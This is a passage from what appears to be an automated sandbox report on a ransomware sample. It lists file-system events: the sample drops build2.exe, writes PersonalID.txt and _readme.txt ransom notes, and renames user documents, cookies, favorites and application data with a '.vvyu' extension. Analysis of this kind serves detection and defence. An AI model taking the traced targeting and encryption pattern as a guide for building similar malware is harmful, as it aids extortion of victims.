for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-
11cb41906c23

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 41DDE2 CreateDirect
oryA

C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-
11cb41906c23\build2.exe

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 41E28E CreateFileA

C:\Users\user\AppData\Local\bowsakkdestx.txt read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 43B911 CreateFileW

C:\SystemID read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 40C951 CreateDirect
oryW

C:\SystemID\PersonalID.txt read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 43B911 CreateFileW

C:\_readme.txt read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 40F12B CreateFileW

C:\Users\user\_readme.txt read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 40F12B CreateFileW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

File Moved
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Old File Path New File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\co
ntainer.dat

C:\Users\user\Cookies\container.dat.vvyu success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\de
precated.cookie

C:\Users\user\Cookies\deprecated.cookie.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\BPMLNOBV
SB.pdf

C:\Users\user\Desktop\BPMLNOBVSB.pdf.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\CURQNKVO
IX.jpg

C:\Users\user\Desktop\CURQNKVOIX.jpg.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\CURQNKVO
IX.mp3

C:\Users\user\Desktop\CURQNKVOIX.mp3.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\DVWHKMNF
NN.docx

C:\Users\user\Desktop\DVWHKMNFNN.docx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\JSDNGYCO
WY.pdf

C:\Users\user\Desktop\JSDNGYCOWY.pdf.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\JSDNGYCO
WY.xlsx

C:\Users\user\Desktop\JSDNGYCOWY.xlsx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\KZWFNRXY
KI.mp3

C:\Users\user\Desktop\KZWFNRXYKI.mp3.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\LTKMYBSE
YZ.xlsx

C:\Users\user\Desktop\LTKMYBSEYZ.xlsx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\MXPXCVPD
VN.mp3

C:\Users\user\Desktop\MXPXCVPDVN.mp3.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\NIKHQAIQ
AU.jpg

C:\Users\user\Desktop\NIKHQAIQAU.jpg.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\NWTVCDUM
OB.docx

C:\Users\user\Desktop\NWTVCDUMOB.docx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\NWTVCDUM
OB.pdf

C:\Users\user\Desktop\NWTVCDUMOB.pdf.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\RAYHIWGK
DI.png

C:\Users\user\Desktop\RAYHIWGKDI.png.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\VAMYDFPU
ND.png

C:\Users\user\Desktop\VAMYDFPUND.png.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\WUTJSCBC
FX.docx

C:\Users\user\Desktop\WUTJSCBCFX.docx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\WUTJSCBC
FX.jpg

C:\Users\user\Desktop\WUTJSCBCFX.jpg.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\YPSIACHY
XW.png

C:\Users\user\Desktop\YPSIACHYXW.png.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\YPSIACHY
XW.xlsx

C:\Users\user\Desktop\YPSIACHYXW.xlsx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\BPMLNO
BVSB.pdf

C:\Users\user\Documents\BPMLNOBVSB.pdf.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\CURQNK
VOIX.jpg

C:\Users\user\Documents\CURQNKVOIX.jpg.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\CURQNK
VOIX.mp3

C:\Users\user\Documents\CURQNKVOIX.mp3.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\DVWHKM
NFNN.docx

C:\Users\user\Documents\DVWHKMNFNN.docx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\JSDNGY
COWY.pdf

C:\Users\user\Documents\JSDNGYCOWY.pdf.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\JSDNGY
COWY.xlsx

C:\Users\user\Documents\JSDNGYCOWY.xlsx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\KZWFNR
XYKI.mp3

C:\Users\user\Documents\KZWFNRXYKI.mp3.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\LTKMYB
SEYZ.xlsx

C:\Users\user\Documents\LTKMYBSEYZ.xlsx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\MXPXCV
PDVN.mp3

C:\Users\user\Documents\MXPXCVPDVN.mp3.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\NIKHQA
IQAU.jpg

C:\Users\user\Documents\NIKHQAIQAU.jpg.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\NWTVCD
UMOB.docx

C:\Users\user\Documents\NWTVCDUMOB.docx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\NWTVCD
UMOB.pdf

C:\Users\user\Documents\NWTVCDUMOB.pdf.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\RAYHIW
GKDI.png

C:\Users\user\Documents\RAYHIWGKDI.png.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\VAMYDF
PUND.png

C:\Users\user\Documents\VAMYDFPUND.png.vvyu success or wait 1 4116DC MoveFileW
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C:\Users\user\Documents\WUTJSC
BCFX.docx

C:\Users\user\Documents\WUTJSCBCFX.docx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\WUTJSC
BCFX.jpg

C:\Users\user\Documents\WUTJSCBCFX.jpg.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\YPSIAC
HYXW.png

C:\Users\user\Documents\YPSIACHYXW.png.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\YPSIAC
HYXW.xlsx

C:\Users\user\Documents\YPSIACHYXW.xlsx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\BPMLNO
BVSB.pdf

C:\Users\user\Downloads\BPMLNOBVSB.pdf.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\CURQNK
VOIX.jpg

C:\Users\user\Downloads\CURQNKVOIX.jpg.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\CURQNK
VOIX.mp3

C:\Users\user\Downloads\CURQNKVOIX.mp3.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\DVWHKM
NFNN.docx

C:\Users\user\Downloads\DVWHKMNFNN.docx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\JSDNGY
COWY.mp3

C:\Users\user\Downloads\JSDNGYCOWY.mp3.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\JSDNGY
COWY.pdf

C:\Users\user\Downloads\JSDNGYCOWY.pdf.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\JSDNGY
COWY.xlsx

C:\Users\user\Downloads\JSDNGYCOWY.xlsx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\KZWFNR
XYKI.png

C:\Users\user\Downloads\KZWFNRXYKI.png.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\LTKMYB
SEYZ.xlsx

C:\Users\user\Downloads\LTKMYBSEYZ.xlsx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\MXPXCV
PDVN.mp3

C:\Users\user\Downloads\MXPXCVPDVN.mp3.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\NIKHQA
IQAU.jpg

C:\Users\user\Downloads\NIKHQAIQAU.jpg.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\NWTVCD
UMOB.docx

C:\Users\user\Downloads\NWTVCDUMOB.docx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\NWTVCD
UMOB.pdf

C:\Users\user\Downloads\NWTVCDUMOB.pdf.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\RAYHIW
GKDI.png

C:\Users\user\Downloads\RAYHIWGKDI.png.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\VAMYDF
PUND.png

C:\Users\user\Downloads\VAMYDFPUND.png.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\WUTJSC
BCFX.docx

C:\Users\user\Downloads\WUTJSCBCFX.docx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\WUTJSC
BCFX.jpg

C:\Users\user\Downloads\WUTJSCBCFX.jpg.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Downloads\YPSIAC
HYXW.xlsx

C:\Users\user\Downloads\YPSIACHYXW.xlsx.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\Amazon.url C:\Users\user\Favorites\Amazon.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\Bing.url C:\Users\user\Favorites\Bing.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\Facebook.url C:\Users\user\Favorites\Facebook.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\Google.url C:\Users\user\Favorites\Google.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\Live.url C:\Users\user\Favorites\Live.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\NYTimes.url C:\Users\user\Favorites\NYTimes.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\Reddit.url C:\Users\user\Favorites\Reddit.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\Twitter.url C:\Users\user\Favorites\Twitter.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\Wikipedia.url C:\Users\user\Favorites\Wikipedia.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\Favorites\Youtube.url C:\Users\user\Favorites\Youtube.url.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\bo
wsakkdestx.txt

C:\Users\user\Local Settings\bowsakkdestx.txt.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Ic
onCache.db

C:\Users\user\Local Settings\IconCache.db.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Bluetooth 
File Transfer.LNK

C:\Users\user\SendTo\Bluetooth File Transfer.LNK.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Compr
essed (zipped) Folder.ZFSendToTarget

C:\Users\user\SendTo\Compressed (zipped) 
Folder.ZFSendToTarget.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Desktop 
(create shortcut).DeskLink

C:\Users\user\SendTo\Desktop (create 
shortcut).DeskLink.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Docum
ents.mydocs

C:\Users\user\SendTo\Documents.mydocs.vvyu success or wait 1 41127D MoveFileW
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C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Mail 
Recipient.MAPIMail

C:\Users\user\SendTo\Mail Recipient.MAPIMail.vvyu success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\DN
TException\container.dat

C:\Users\user\Cookies\DNTException\container.dat.vvyu success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\ES
E\container.dat

C:\Users\user\Cookies\ESE\container.dat.vvyu success or wait 1 41127D MoveFileW

C:\Users\user\Desktop\DVWHKMNF
NN\DVWHKMNFNN.docx

C:\Users\user\Desktop\DVWHKMNF
NN\DVWHKMNFNN.docx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\DVWHKMNF
NN\KZWFNRXYKI.mp3

C:\Users\user\Desktop\DVWHKMNF
NN\KZWFNRXYKI.mp3.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\DVWHKMNF
NN\LTKMYBSEYZ.xlsx

C:\Users\user\Desktop\DVWHKMNF
NN\LTKMYBSEYZ.xlsx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\DVWHKMNF
NN\NWTVCDUMOB.pdf

C:\Users\user\Desktop\DVWHKMNF
NN\NWTVCDUMOB.pdf.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\DVWHKMNF
NN\WUTJSCBCFX.jpg

C:\Users\user\Desktop\DVWHKMNF
NN\WUTJSCBCFX.jpg.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\DVWHKMNF
NN\YPSIACHYXW.png

C:\Users\user\Desktop\DVWHKMNF
NN\YPSIACHYXW.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\NWTVCDUM
OB\CURQNKVOIX.mp3

C:\Users\user\Desktop\NWTVCDUM
OB\CURQNKVOIX.mp3.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\NWTVCDUM
OB\JSDNGYCOWY.pdf

C:\Users\user\Desktop\NWTVCDUM
OB\JSDNGYCOWY.pdf.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\NWTVCDUM
OB\NIKHQAIQAU.jpg

C:\Users\user\Desktop\NWTVCDUM
OB\NIKHQAIQAU.jpg.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\NWTVCDUM
OB\NWTVCDUMOB.docx

C:\Users\user\Desktop\NWTVCDUM
OB\NWTVCDUMOB.docx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\NWTVCDUM
OB\RAYHIWGKDI.png

C:\Users\user\Desktop\NWTVCDUM
OB\RAYHIWGKDI.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\NWTVCDUM
OB\YPSIACHYXW.xlsx

C:\Users\user\Desktop\NWTVCDUM
OB\YPSIACHYXW.xlsx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\WUTJSCBC
FX\BPMLNOBVSB.pdf

C:\Users\user\Desktop\WUTJSCBC
FX\BPMLNOBVSB.pdf.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\WUTJSCBC
FX\CURQNKVOIX.jpg

C:\Users\user\Desktop\WUTJSCBC
FX\CURQNKVOIX.jpg.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\WUTJSCBC
FX\JSDNGYCOWY.xlsx

C:\Users\user\Desktop\WUTJSCBC
FX\JSDNGYCOWY.xlsx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\WUTJSCBC
FX\MXPXCVPDVN.mp3

C:\Users\user\Desktop\WUTJSCBC
FX\MXPXCVPDVN.mp3.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\WUTJSCBC
FX\VAMYDFPUND.png

C:\Users\user\Desktop\WUTJSCBC
FX\VAMYDFPUND.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Desktop\WUTJSCBC
FX\WUTJSCBCFX.docx

C:\Users\user\Desktop\WUTJSCBC
FX\WUTJSCBCFX.docx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\DVWHKM
NFNN\DVWHKMNFNN.docx

C:\Users\user\Documents\DVWHKM
NFNN\DVWHKMNFNN.docx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\DVWHKM
NFNN\KZWFNRXYKI.mp3

C:\Users\user\Documents\DVWHKM
NFNN\KZWFNRXYKI.mp3.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\DVWHKM
NFNN\LTKMYBSEYZ.xlsx

C:\Users\user\Documents\DVWHKM
NFNN\LTKMYBSEYZ.xlsx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\DVWHKM
NFNN\NWTVCDUMOB.pdf

C:\Users\user\Documents\DVWHKM
NFNN\NWTVCDUMOB.pdf.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\DVWHKM
NFNN\WUTJSCBCFX.jpg

C:\Users\user\Documents\DVWHKM
NFNN\WUTJSCBCFX.jpg.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\DVWHKM
NFNN\YPSIACHYXW.png

C:\Users\user\Documents\DVWHKM
NFNN\YPSIACHYXW.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\NWTVCD
UMOB\CURQNKVOIX.mp3

C:\Users\user\Documents\NWTVCD
UMOB\CURQNKVOIX.mp3.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\NWTVCD
UMOB\JSDNGYCOWY.pdf

C:\Users\user\Documents\NWTVCD
UMOB\JSDNGYCOWY.pdf.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\NWTVCD
UMOB\NIKHQAIQAU.jpg

C:\Users\user\Documents\NWTVCD
UMOB\NIKHQAIQAU.jpg.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\NWTVCD
UMOB\NWTVCDUMOB.docx

C:\Users\user\Documents\NWTVCD
UMOB\NWTVCDUMOB.docx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\NWTVCD
UMOB\RAYHIWGKDI.png

C:\Users\user\Documents\NWTVCD
UMOB\RAYHIWGKDI.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\NWTVCD
UMOB\YPSIACHYXW.xlsx

C:\Users\user\Documents\NWTVCD
UMOB\YPSIACHYXW.xlsx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\WUTJSC
BCFX\BPMLNOBVSB.pdf

C:\Users\user\Documents\WUTJSC
BCFX\BPMLNOBVSB.pdf.vvyu

success or wait 1 4116DC MoveFileW
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C:\Users\user\Documents\WUTJSC
BCFX\CURQNKVOIX.jpg

C:\Users\user\Documents\WUTJSC
BCFX\CURQNKVOIX.jpg.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\WUTJSC
BCFX\JSDNGYCOWY.xlsx

C:\Users\user\Documents\WUTJSC
BCFX\JSDNGYCOWY.xlsx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\WUTJSC
BCFX\MXPXCVPDVN.mp3

C:\Users\user\Documents\WUTJSC
BCFX\MXPXCVPDVN.mp3.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\WUTJSC
BCFX\VAMYDFPUND.png

C:\Users\user\Documents\WUTJSC
BCFX\VAMYDFPUND.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\Documents\WUTJSC
BCFX\WUTJSCBCFX.docx

C:\Users\user\Documents\WUTJSC
BCFX\WUTJSCBCFX.docx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Co
nnectedDevicesPlatform\CDPGlob
alSettings.cdp

C:\Users\user\Local Settings\C
onnectedDevicesPlatform\CDPGlobalSettings.cdp.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\dc8ee5c2-
8cfe-4224-95e9-01d5d6a6
2169\2OmglUwx83.exe

C:\Users\user\Local Settings\dc8ee5c2-8cfe-4224-95e9-
01d5d6a62169\2OmglUwx83.exe.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Te
mp\AdobeARM.log

C:\Users\user\Local Settings\Temp\AdobeARM.log.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Te
mp\chrome_installer.log

C:\Users\user\Local Settings\Temp\chrome_installer.log.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Te
mp\JavaDeployReg.log

C:\Users\user\Local Settings\Temp\JavaDeployReg.log.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Te
mp\tmpEAC.tmp

C:\Users\user\Local Settings\Temp\tmpEAC.tmp.vvyu success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\Lo
w\ESE\container.dat

C:\Users\user\Cookies\Low\ESE\container.dat.vvyu success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Ad
obe\Color\ACECache11.lst

C:\Users\user\Local Settings\A
dobe\Color\ACECache11.lst.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USS.jcp

C:\Users\user\Local Settings\C
omms\UnistoreDB\USS.jcp.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00001.jrs

C:\Users\user\Local Settings\C
omms\UnistoreDB\USSres00001.jrs.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USSres00002.jrs

C:\Users\user\Local Settings\C
omms\UnistoreDB\USSres00002.jrs.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Co
mms\UnistoreDB\USStmp.jtx

C:\Users\user\Local Settings\C
omms\UnistoreDB\USStmp.jtx.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\History\Histor
y.IE5\container.dat

C:\Users\user\Local Settings\History\History.IE5\container.d
at.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\ngen.log

C:\Users\user\Local Settings\M
icrosoft\CLR_v4.0\ngen.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\ngen.log

C:\Users\user\Local Settings\M
icrosoft\CLR_v4.0_32\ngen.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\brndlog.txt

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brn
dlog.txt.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
ClearIconCache.log

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4
uinit-ClearIconCache.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\ie4uinit-
UserConfig.log

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4
uinit-UserConfig.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\MSIM
GSIZ.DAT

C:\Users\user\Local Settings\Microsoft\Internet Explorer\MSI
MGSIZ.DAT.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\OneDrive.Visu
alElementsManifest.xml

C:\Users\user\Local Settings\M
icrosoft\OneDrive\OneDrive.Vis
ualElementsManifest.xml.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\Resources.pri

C:\Users\user\Local Settings\M
icrosoft\OneDrive\Resources.pri.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\PenWorkspace\DiscoverC
acheData.dat

C:\Users\user\Local Settings\M
icrosoft\PenWorkspace\DiscoverCacheData.dat.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Te
mp\CR_14C6C.tmp\setup.exe

C:\Users\user\Local Settings\T
emp\CR_14C6C.tmp\setup.exe.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\IE\c
ontainer.dat

C:\Users\user\Local Settings\Temporary Internet 
Files\Content.IE5\container.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\Low\
MSIMGSIZ.DAT

C:\Users\user\Local Settings\Temporary Internet 
Files\Low\MSIMGSIZ.DAT.vvyu

success or wait 1 4116DC MoveFileW
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\Low\
SmartScreenCache.dat

C:\Users\user\Local Settings\Temporary Internet 
Files\Low\SmartScreenCache.dat.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Spelling\en-US\default.acl

C:\Users\user\Application Data\Microsoft\Spelling\en-US\defa
ult.acl.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Spelling\en-US\default.dic

C:\Users\user\Application Data\Microsoft\Spelling\en-US\defa
ult.dic.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Spelling\en-US\default.exc

C:\Users\user\Application Data\Microsoft\Spelling\en-US\defa
ult.exc.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\Libraries\Ca
meraRoll.library-ms

C:\Users\user\Application Data
\Microsoft\Windows\Libraries\CameraRoll.library-ms.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\Libraries\Do
cuments.library-ms

C:\Users\user\Application Data
\Microsoft\Windows\Libraries\Documents.library-ms.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\Libraries\Mu
sic.library-ms

C:\Users\user\Application Data
\Microsoft\Windows\Libraries\Music.library-ms.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\Libraries\Pi
ctures.library-ms

C:\Users\user\Application Data
\Microsoft\Windows\Libraries\Pictures.library-ms.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Roaming\
Microsoft\Windows\Libraries\Vi
deos.library-ms

C:\Users\user\Application Data
\Microsoft\Windows\Libraries\Videos.library-ms.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Ad
obe\Acrobat\DC\AdobeCMapFnt19.lst

C:\Users\user\Local Settings\A
dobe\Acrobat\DC\AdobeCMapFnt19.lst.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Ad
obe\Acrobat\DC\AdobeSysFnt19.lst

C:\Users\user\Local Settings\A
dobe\Acrobat\DC\AdobeSysFnt19.lst.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Ad
obe\Acrobat\DC\IconCacheRdr655
36.dat

C:\Users\user\Local Settings\A
dobe\Acrobat\DC\IconCacheRdr65536.dat.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Ad
obe\Acrobat\DC\UserCache.bin

C:\Users\user\Local Settings\A
dobe\Acrobat\DC\UserCache.bin.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Co
mms\Unistore\data\AggregateCac
he.uca

C:\Users\user\Local Settings\C
omms\Unistore\data\AggregateCache.uca.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Go
ogle\Chrome\User Data\chrome_s
hutdown_ms.txt

C:\Users\user\Local Settings\Google\Chrome\User 
Data\chrome_shutdown_ms.txt.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Go
ogle\Chrome\User Data\Crashpad
Metrics-active.pma

C:\Users\user\Local Settings\Google\Chrome\User 
Data\CrashpadMetrics-active.pma.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Go
ogle\Chrome\User Data\Crashpad
Metrics.pma

C:\Users\user\Local Settings\Google\Chrome\User 
Data\CrashpadMetrics.pma.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\History\Histor
